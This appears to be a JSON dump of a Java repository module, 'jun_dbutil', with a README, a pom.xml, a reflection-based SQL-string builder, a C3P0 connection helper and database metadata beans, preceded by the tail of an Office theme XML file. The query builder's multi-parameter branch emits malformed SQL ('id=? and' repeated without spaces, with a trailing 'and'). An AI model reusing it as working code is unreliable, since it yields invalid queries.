/>\n\t\t\t\t\t\t\t<a:font script=\"Telu\" typeface=\"Gautami\" />\n\t\t\t\t\t\t\t<a:font script=\"Taml\" typeface=\"Latha\" />\n\t\t\t\t\t\t\t<a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\" />\n\t\t\t\t\t\t\t<a:font script=\"Orya\" typeface=\"Kalinga\" />\n\t\t\t\t\t\t\t<a:font script=\"Mlym\" typeface=\"Kartika\" />\n\t\t\t\t\t\t\t<a:font script=\"Laoo\" typeface=\"DokChampa\" />\n\t\t\t\t\t\t\t<a:font script=\"Sinh\" typeface=\"Iskoola Pota\" />\n\t\t\t\t\t\t\t<a:font script=\"Mong\" typeface=\"Mongolian Baiti\" />\n\t\t\t\t\t\t\t<a:font script=\"Viet\" typeface=\"Arial\" />\n\t\t\t\t\t\t\t<a:font script=\"Uigh\" typeface=\"Microsoft Uighur\" />\n\t\t\t\t\t\t\t<a:font script=\"Geor\" typeface=\"Sylfaen\" />\n\t\t\t\t\t\t</a:minorFont>\n\t\t\t\t\t</a:fontScheme>\n\t\t\t\t\t<a:fmtScheme name=\"Office\">\n\t\t\t\t\t\t<a:fillStyleLst>\n\t\t\t\t\t\t\t<a:solidFill>\n\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\" />\n\t\t\t\t\t\t\t</a:solidFill>\n\t\t\t\t\t\t\t<a:gradFill rotWithShape=\"1\">\n\t\t\t\t\t\t\t\t<a:gsLst>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"0\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:tint val=\"50000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"300000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"35000\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:tint val=\"37000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"300000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"100000\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:tint val=\"15000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"350000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t</a:gsLst>\n\t\t\t\t\t\t\t\t<a:lin ang=\"16200000\" scaled=\"1\" />\n\t\t\t\t\t\t\t</a:gradFill>\n\t\t\t\t\t\t\t<a:gradFill rotWithShape=\"1\">\n\t\t\t\t\t\t\t\t<a:gsLst>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"0\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:shade val=\"51000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"130000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"80000\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:shade val=\"93000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"130000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"100000\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:shade val=\"94000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"135000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t</a:gsLst>\n\t\t\t\t\t\t\t\t<a:lin ang=\"16200000\" scaled=\"0\" />\n\t\t\t\t\t\t\t</a:gradFill>\n\t\t\t\t\t\t</a:fillStyleLst>\n\t\t\t\t\t\t<a:lnStyleLst>\n\t\t\t\t\t\t\t<a:ln w=\"9525\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\">\n\t\t\t\t\t\t\t\t<a:solidFill>\n\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t<a:shade val=\"95000\" />\n\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"105000\" />\n\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t</a:solidFill>\n\t\t\t\t\t\t\t\t<a:prstDash val=\"solid\" />\n\t\t\t\t\t\t\t</a:ln>\n\t\t\t\t\t\t\t<a:ln w=\"25400\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\">\n\t\t\t\t\t\t\t\t<a:solidFill>\n\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\" />\n\t\t\t\t\t\t\t\t</a:solidFill>\n\t\t\t\t\t\t\t\t<a:prstDash val=\"solid\" />\n\t\t\t\t\t\t\t</a:ln>\n\t\t\t\t\t\t\t<a:ln w=\"38100\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\">\n\t\t\t\t\t\t\t\t<a:solidFill>\n\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\" />\n\t\t\t\t\t\t\t\t</a:solidFill>\n\t\t\t\t\t\t\t\t<a:prstDash val=\"solid\" />\n\t\t\t\t\t\t\t</a:ln>\n\t\t\t\t\t\t</a:lnStyleLst>\n\t\t\t\t\t\t<a:effectStyleLst>\n\t\t\t\t\t\t\t<a:effectStyle>\n\t\t\t\t\t\t\t\t<a:effectLst>\n\t\t\t\t\t\t\t\t\t<a:outerShdw blurRad=\"40000\" dist=\"20000\" dir=\"5400000\"\n\t\t\t\t\t\t\t\t\t\trotWithShape=\"0\">\n\t\t\t\t\t\t\t\t\t\t<a:srgbClr val=\"000000\">\n\t\t\t\t\t\t\t\t\t\t\t<a:alpha val=\"38000\" />\n\t\t\t\t\t\t\t\t\t\t</a:srgbClr>\n\t\t\t\t\t\t\t\t\t</a:outerShdw>\n\t\t\t\t\t\t\t\t</a:effectLst>\n\t\t\t\t\t\t\t</a:effectStyle>\n\t\t\t\t\t\t\t<a:effectStyle>\n\t\t\t\t\t\t\t\t<a:effectLst>\n\t\t\t\t\t\t\t\t\t<a:outerShdw blurRad=\"40000\" dist=\"23000\" dir=\"5400000\"\n\t\t\t\t\t\t\t\t\t\trotWithShape=\"0\">\n\t\t\t\t\t\t\t\t\t\t<a:srgbClr val=\"000000\">\n\t\t\t\t\t\t\t\t\t\t\t<a:alpha val=\"35000\" />\n\t\t\t\t\t\t\t\t\t\t</a:srgbClr>\n\t\t\t\t\t\t\t\t\t</a:outerShdw>\n\t\t\t\t\t\t\t\t</a:effectLst>\n\t\t\t\t\t\t\t</a:effectStyle>\n\t\t\t\t\t\t\t<a:effectStyle>\n\t\t\t\t\t\t\t\t<a:effectLst>\n\t\t\t\t\t\t\t\t\t<a:outerShdw blurRad=\"40000\" dist=\"23000\" dir=\"5400000\"\n\t\t\t\t\t\t\t\t\t\trotWithShape=\"0\">\n\t\t\t\t\t\t\t\t\t\t<a:srgbClr val=\"000000\">\n\t\t\t\t\t\t\t\t\t\t\t<a:alpha val=\"35000\" />\n\t\t\t\t\t\t\t\t\t\t</a:srgbClr>\n\t\t\t\t\t\t\t\t\t</a:outerShdw>\n\t\t\t\t\t\t\t\t</a:effectLst>\n\t\t\t\t\t\t\t\t<a:scene3d>\n\t\t\t\t\t\t\t\t\t<a:camera prst=\"orthographicFront\">\n\t\t\t\t\t\t\t\t\t\t<a:rot lat=\"0\" lon=\"0\" rev=\"0\" />\n\t\t\t\t\t\t\t\t\t</a:camera>\n\t\t\t\t\t\t\t\t\t<a:lightRig rig=\"threePt\" dir=\"t\">\n\t\t\t\t\t\t\t\t\t\t<a:rot lat=\"0\" lon=\"0\" rev=\"1200000\" />\n\t\t\t\t\t\t\t\t\t</a:lightRig>\n\t\t\t\t\t\t\t\t</a:scene3d>\n\t\t\t\t\t\t\t\t<a:sp3d>\n\t\t\t\t\t\t\t\t\t<a:bevelT w=\"63500\" h=\"25400\" />\n\t\t\t\t\t\t\t\t</a:sp3d>\n\t\t\t\t\t\t\t</a:effectStyle>\n\t\t\t\t\t\t</a:effectStyleLst>\n\t\t\t\t\t\t<a:bgFillStyleLst>\n\t\t\t\t\t\t\t<a:solidFill>\n\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\" />\n\t\t\t\t\t\t\t</a:solidFill>\n\t\t\t\t\t\t\t<a:gradFill rotWithShape=\"1\">\n\t\t\t\t\t\t\t\t<a:gsLst>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"0\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:tint val=\"40000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"350000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"40000\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:tint val=\"45000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"350000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:shade val=\"99000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"100000\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:shade val=\"20000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"255000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t</a:gsLst>\n\t\t\t\t\t\t\t\t<a:path path=\"circle\">\n\t\t\t\t\t\t\t\t\t<a:fillToRect l=\"50000\" t=\"-80000\" r=\"50000\" b=\"180000\" />\n\t\t\t\t\t\t\t\t</a:path>\n\t\t\t\t\t\t\t</a:gradFill>\n\t\t\t\t\t\t\t<a:gradFill rotWithShape=\"1\">\n\t\t\t\t\t\t\t\t<a:gsLst>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"0\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:tint val=\"80000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"300000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t\t<a:gs pos=\"100000\">\n\t\t\t\t\t\t\t\t\t\t<a:schemeClr val=\"phClr\">\n\t\t\t\t\t\t\t\t\t\t\t<a:shade val=\"30000\" />\n\t\t\t\t\t\t\t\t\t\t\t<a:satMod val=\"200000\" />\n\t\t\t\t\t\t\t\t\t\t</a:schemeClr>\n\t\t\t\t\t\t\t\t\t</a:gs>\n\t\t\t\t\t\t\t\t</a:gsLst>\n\t\t\t\t\t\t\t\t<a:path path=\"circle\">\n\t\t\t\t\t\t\t\t\t<a:fillToRect l=\"50000\" t=\"50000\" r=\"50000\" b=\"50000\" />\n\t\t\t\t\t\t\t\t</a:path>\n\t\t\t\t\t\t\t</a:gradFill>\n\t\t\t\t\t\t</a:bgFillStyleLst>\n\t\t\t\t\t</a:fmtScheme>\n\t\t\t\t</a:themeElements>\n\t\t\t\t<a:objectDefaults />\n\t\t\t</a:theme>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n</pkg:package>"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/README.md",
    "content": "#### jun_dbutil数据库工具类，基于Apache Common Dbutil工具jar包实现微型数据层的CRUD，不依赖其他jar包及框架，低耦合\n\nDescription 功能\n1、commons-dbutils\n2、\n\n\n#### Installation 安装使用\n\n1、配置POM\n2、直接参考Demo\n\n\n#### Documents 文档\n\n1、文档\n\n\n#### Feature 计划\n\n1、待补充Dbutis的工具类\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_dbutil</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<name>jun_dbutil</name>\n\t<url>http://maven.apache.org</url>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun_datasource</artifactId>\n\t\t\t<version>1.0</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/commons-dbutils/commons-dbutils -->\n\t\t<dependency>\n\t\t\t<groupId>commons-dbutils</groupId>\n\t\t\t<artifactId>commons-dbutils</artifactId>\n\t\t\t<version>1.7</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-beanutils</groupId>\n\t\t\t<artifactId>commons-beanutils</artifactId>\n\t\t\t<version>1.9.4</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/commons-io/commons-io -->\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.7</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.11</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-logging</groupId>\n\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t<version>1.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.oracle.database.jdbc</groupId>\n\t\t\t<artifactId>ojdbc5</artifactId>\n\t\t\t<version>11.2.0.4</version>\n\t\t</dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_base_dbutil</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/GetSQL.java",
    "content": "\t\t\t\t\t\n\t\t\t\t\tpackage com.jun.plugin.dbutils;\n\t\t\t\t\t\n\t\t\t\t\timport java.lang.reflect.Field;\n\t\t\t\t\t\n\t\t\t\t\t/**\n\t\t\t\t\t * 获取相应的SQL语句\n\t\t\t\t\t * @author Wujun\n\t\t\t\t\t *\n\t\t\t\t\t */\n\t\t\t\t\tpublic class GetSQL {\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * 得到删除语句\n\t\t\t\t\t\t * @param c\n\t\t\t\t\t\t * @param params\n\t\t\t\t\t\t * @return\n\t\t\t\t\t\t */\n\t\t\t\t\t\t@SuppressWarnings(\"rawtypes\")\n\t\t\t\t\t\tpublic static  String getDeleteSQL(Class c,Object[] params){\n\t\t\t\t\t\t\t\tStringBuilder s =new StringBuilder(\"delete from \"+c.getSimpleName().toLowerCase());\n\t\t\t\t\t\t\t\tif(params.length!=0){\n\t\t\t\t\t\t\t\t\t\tString q=\" where \"+c.getDeclaredFields()[0].getName()+\"=?\";\n\t\t\t\t\t\t\t\t\t\ts.append(q);\n\t\t\t\t\t\t\t\t\t\treturn s.toString();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn s.toString();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * 得到查询语句\n\t\t\t\t\t\t * @param tbName\n\t\t\t\t\t\t * @param params\n\t\t\t\t\t\t * @param className\n\t\t\t\t\t\t * @return sql\n\t\t\t\t\t\t */\n\t\t\t\t\t\t@SuppressWarnings(\"rawtypes\")\n\t\t\t\t\t\tpublic static String getQuerySQL(Class c,Object[] params){\n\t\t\t\t\t\t\t\tString sql=\"select  *  from\"+\" \"+c.getSimpleName().toLowerCase();\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif(params.length==0){//如果参数为空，即查询所有\n\t\t\t\t\t\t\t\t\t\t\treturn sql;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif(params.length==1){//一个参数\n\t\t\t\t\t\t\t\t\t\t\t\t sql=sql+\" \"+\"where id=?\";\n\t\t\t\t\t\t\t\t\t\t\t}else{//多个参数\n\t\t\t\t\t\t\t\t\t\t\t\tsql=sql+\" \"+\"where \";\n\t\t\t\t\t\t\t\t\t\t\tfor(int i=0;i<params.length;i++){\n\t\t\t\t\t\t\t\t\t\t\t\t\tsql=sql+ \"id=? and\";\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn sql;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * 传入表名和参数动态生成插入语句\n\t\t\t\t\t\t * @param tbName\n\t\t\t\t\t\t * @param params\n\t\t\t\t\t\t * @return sql\n\t\t\t\t\t\t */\n\t\t\t\t\t\t@SuppressWarnings(\"rawtypes\")\n\t\t\t\t\t\tpublic static String getInsertSQL(Class c,Object[] params){\n\t\t\t\t\t\t\tStringBuilder s= new StringBuilder(\"insert into\"+\" \"+ c.getSimpleName().toLowerCase() +\" \"+\" values(\" );\n\t\t\t\t\t\t\t\tString q=\"?\";\n\t\t\t\t\t\t\t\tfor(int i=1;i<params.length;i++){\n\t\t\t\t\t\t\t\t\t\tq=q+\",?\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tSystem.out.println(\"q=\"+q);\n\t\t\t\t\t\t\t\ts.append(q+\")\");\n\t\t\t\t\t\t\t\tSystem.out.println(\"s=\"+s);\n\t\t\t\t\t\t\t\treturn s.toString();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * 把实体类名、要修改的表名和参数传入方法中动态生成修改语句\n\t\t\t\t\t\t * @param className\n\t\t\t\t\t\t * @param tbName\n\t\t\t\t\t\t * @param values\n\t\t\t\t\t\t * @return  sql\n\t\t\t\t\t\t * @throws Exception\n\t\t\t\t\t\t */\n\t\t\t\t\t\t@SuppressWarnings(\"rawtypes\")\n\t\t\t\t\t\tpublic static String getUpdateSQL(Class c,Object[] values) throws Exception{\n\t\t\t\t\t\n\t\t\t\t\t\t\t//通过反射得到类的属性信息\n\t\t\t\t\t\t\t\tField[] field=c.getDeclaredFields();\n\t\t\t\t\t\t\t//field[i].getName()得到属性名\n\t\t\t\t\t\t\t\tStringBuilder s=new StringBuilder(\"update\"+\" \"+c.getSimpleName().toLowerCase()+\" \"+\"set\");\n\t\t\t\t\t\t\t\tString q=\" \";\n\t\t\t\t\t\t\t\tfor(int i=1;i<field.length;i++){\n\t\t\t\t\t\t\t\t\tif(i<values.length-1)\n\t\t\t\t\t\t\t\t\t\tq=q+field[i].getName()+\"=?,\";\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tq=q+field[i].getName()+\"=?\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tSystem.out.println(q);\n\t\t\t\t\t\t\t\tString l=\" \"+\"where\"+\" \"+field[0].getName()+\"=?\";\n\t\t\t\t\t\t\t\ts.append(q+l);\n\t\t\t\t\t\t\t\tSystem.out.println(s);\n\t\t\t\t\t\t\t\treturn s.toString();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/JdbcUtils.java",
    "content": "\t\n\t\tpackage com.jun.plugin.dbutils;\n\t\t\n\t\timport java.sql.Connection;\n\t\timport java.sql.SQLException;\t\t\n\t\timport javax.sql.DataSource;\n\t\timport org.apache.commons.dbutils.QueryRunner;\n\t\timport com.mchange.v2.c3p0.ComboPooledDataSource;\n\t\t\n\t\t// NOTE: This class uses hardcoded C3P0 configuration.\n\t\t// For a more flexible connection pool setup, consider using jun_datasource module\n\t\t// which provides DataSourceC3p0 with configurable properties.\n\t\tpublic class JdbcUtils{\n\n\t\t\t//读取c3p0-config.xml文件的默认配置\n\t\t\tprivate static ComboPooledDataSource  datasource =new ComboPooledDataSource();\n\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * 使用连接池返回连接对象\n\t\t\t\t\t */\n\t\t\t//\t测试连接\n\t\t\t\t/*\n\t\t\t\t * \t@Test\n\t\t\t\t\tpublic void  test() throws SQLException{\n\t\t\t\t\t\tSystem.out.println(getconnection());\n\t\t\t\t\t}\n\t\t\t\t*/\n\t\t\t\t\t\n\t\t\t\t\tpublic static Connection getconnection() throws SQLException{\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn datasource.getConnection();\n\t\t\t\t\t}\n\t\t\t\t\t/*\n\t\t\t\t\t * 返回连接池对象\n\t\t\t\t\t */\n\t\t\t\t\tpublic static DataSource getDataSource(){\t\n\t\t\t\t\t\t\t\treturn datasource;\n\t\t\t\t\t}\n\t\t\t\t\tpublic static QueryRunner getQueryRunner(){\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\treturn new QueryRunner(datasource);\n\t\t\t\t\t}\n\t\t}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/info/model/Column.java",
    "content": "package com.jun.plugin.dbutils.db.info.model;\n\npublic class Column {\n\tString TABLE_CATALOG;\n\tString TABLE_SCHEMA;\n\tString TABLE_NAME;\n\tString COLUMN_NAME;\n\tlong ORDINAL_POSITION;\n\tString COLUMN_DEFAULT;\n\tString IS_NULLABLE;\n\tString DATA_TYPE;\n\tlong CHARACTER_MAXIMUM_LENGTH;\n\tlong CHARACTER_OCTET_LENGTH;\n\tlong NUMERIC_PRECISION;\n\tlong NUMERIC_SCALE;\n\tlong DATETIME_PRECISION;\n\tString CHARACTER_SET_NAME;\n\tString COLLATION_NAME;\n\tString COLUMN_TYPE;\n\tString COLUMN_KEY;\n\tString EXTRA;\n\tString PRIVILEGES;\n\tString COLUMN_COMMENT;\n\tpublic String getTABLE_CATALOG() {\n\t\treturn TABLE_CATALOG;\n\t}\n\tpublic void setTABLE_CATALOG(String tABLE_CATALOG) {\n\t\tTABLE_CATALOG = tABLE_CATALOG;\n\t}\n\tpublic String getTABLE_SCHEMA() {\n\t\treturn TABLE_SCHEMA;\n\t}\n\tpublic void setTABLE_SCHEMA(String tABLE_SCHEMA) {\n\t\tTABLE_SCHEMA = tABLE_SCHEMA;\n\t}\n\tpublic String getTABLE_NAME() {\n\t\treturn TABLE_NAME;\n\t}\n\tpublic void setTABLE_NAME(String tABLE_NAME) {\n\t\tTABLE_NAME = tABLE_NAME;\n\t}\n\tpublic String getCOLUMN_NAME() {\n\t\treturn COLUMN_NAME;\n\t}\n\tpublic void setCOLUMN_NAME(String cOLUMN_NAME) {\n\t\tCOLUMN_NAME = cOLUMN_NAME;\n\t}\n\tpublic long getORDINAL_POSITION() {\n\t\treturn ORDINAL_POSITION;\n\t}\n\tpublic void setORDINAL_POSITION(long oRDINAL_POSITION) {\n\t\tORDINAL_POSITION = oRDINAL_POSITION;\n\t}\n\tpublic String getCOLUMN_DEFAULT() {\n\t\treturn COLUMN_DEFAULT;\n\t}\n\tpublic void setCOLUMN_DEFAULT(String cOLUMN_DEFAULT) {\n\t\tCOLUMN_DEFAULT = cOLUMN_DEFAULT;\n\t}\n\tpublic String getIS_NULLABLE() {\n\t\treturn IS_NULLABLE;\n\t}\n\tpublic void setIS_NULLABLE(String iS_NULLABLE) {\n\t\tIS_NULLABLE = iS_NULLABLE;\n\t}\n\tpublic String getDATA_TYPE() {\n\t\treturn DATA_TYPE;\n\t}\n\tpublic void setDATA_TYPE(String dATA_TYPE) {\n\t\tDATA_TYPE = dATA_TYPE;\n\t}\n\tpublic long getCHARACTER_MAXIMUM_LENGTH() {\n\t\treturn CHARACTER_MAXIMUM_LENGTH;\n\t}\n\tpublic void setCHARACTER_MAXIMUM_LENGTH(long cHARACTER_MAXIMUM_LENGTH) {\n\t\tCHARACTER_MAXIMUM_LENGTH = cHARACTER_MAXIMUM_LENGTH;\n\t}\n\tpublic long getCHARACTER_OCTET_LENGTH() {\n\t\treturn CHARACTER_OCTET_LENGTH;\n\t}\n\tpublic void setCHARACTER_OCTET_LENGTH(long cHARACTER_OCTET_LENGTH) {\n\t\tCHARACTER_OCTET_LENGTH = cHARACTER_OCTET_LENGTH;\n\t}\n\tpublic long getNUMERIC_PRECISION() {\n\t\treturn NUMERIC_PRECISION;\n\t}\n\tpublic void setNUMERIC_PRECISION(long nUMERIC_PRECISION) {\n\t\tNUMERIC_PRECISION = nUMERIC_PRECISION;\n\t}\n\tpublic long getNUMERIC_SCALE() {\n\t\treturn NUMERIC_SCALE;\n\t}\n\tpublic void setNUMERIC_SCALE(long nUMERIC_SCALE) {\n\t\tNUMERIC_SCALE = nUMERIC_SCALE;\n\t}\n\tpublic long getDATETIME_PRECISION() {\n\t\treturn DATETIME_PRECISION;\n\t}\n\tpublic void setDATETIME_PRECISION(long dATETIME_PRECISION) {\n\t\tDATETIME_PRECISION = dATETIME_PRECISION;\n\t}\n\tpublic String getCHARACTER_SET_NAME() {\n\t\treturn CHARACTER_SET_NAME;\n\t}\n\tpublic void setCHARACTER_SET_NAME(String cHARACTER_SET_NAME) {\n\t\tCHARACTER_SET_NAME = cHARACTER_SET_NAME;\n\t}\n\tpublic String getCOLLATION_NAME() {\n\t\treturn COLLATION_NAME;\n\t}\n\tpublic void setCOLLATION_NAME(String cOLLATION_NAME) {\n\t\tCOLLATION_NAME = cOLLATION_NAME;\n\t}\n\tpublic String getCOLUMN_TYPE() {\n\t\treturn COLUMN_TYPE;\n\t}\n\tpublic void setCOLUMN_TYPE(String cOLUMN_TYPE) {\n\t\tCOLUMN_TYPE = cOLUMN_TYPE;\n\t}\n\tpublic String getCOLUMN_KEY() {\n\t\treturn COLUMN_KEY;\n\t}\n\tpublic void setCOLUMN_KEY(String cOLUMN_KEY) {\n\t\tCOLUMN_KEY = cOLUMN_KEY;\n\t}\n\tpublic String getEXTRA() {\n\t\treturn EXTRA;\n\t}\n\tpublic void setEXTRA(String eXTRA) {\n\t\tEXTRA = eXTRA;\n\t}\n\tpublic String getPRIVILEGES() {\n\t\treturn PRIVILEGES;\n\t}\n\tpublic void setPRIVILEGES(String pRIVILEGES) {\n\t\tPRIVILEGES = pRIVILEGES;\n\t}\n\tpublic String getCOLUMN_COMMENT() {\n\t\treturn COLUMN_COMMENT;\n\t}\n\tpublic void setCOLUMN_COMMENT(String cOLUMN_COMMENT) {\n\t\tCOLUMN_COMMENT = cOLUMN_COMMENT;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/info/model/Table.java",
    "content": "package com.jun.plugin.dbutils.db.info.model;\n\nimport java.util.Date;\n\npublic class Table {\n\tString TABLE_CATALOG;\n\tString TABLE_SCHEMA;\n\tString TABLE_NAME;\n\tString TABLE_TYPE;\n\tString ENGINE;\n\tlong VERSION;\n\tString ROW_FORMAT;\n\tlong TABLE_ROWS;\n\tlong AVG_ROW_LENGTH;\n\tlong DATA_LENGTH;\n\tlong MAX_DATA_LENGTH;\n\tlong INDEX_LENGTH;\n\tlong DATA_FREE;\n\tlong AUTO_INCREMENT;\n\tDate CREATE_TIME;\n\tDate UPDATE_TIME;\n\tDate CHECK_TIME;\n\tString TABLE_COLLATION;\n\tlong CHECKSUM;\n\tString CREATE_OPTIONS;\n\tString TABLE_COMMENT;\n\tpublic String getTABLE_CATALOG() {\n\t\treturn TABLE_CATALOG;\n\t}\n\tpublic void setTABLE_CATALOG(String tABLE_CATALOG) {\n\t\tTABLE_CATALOG = 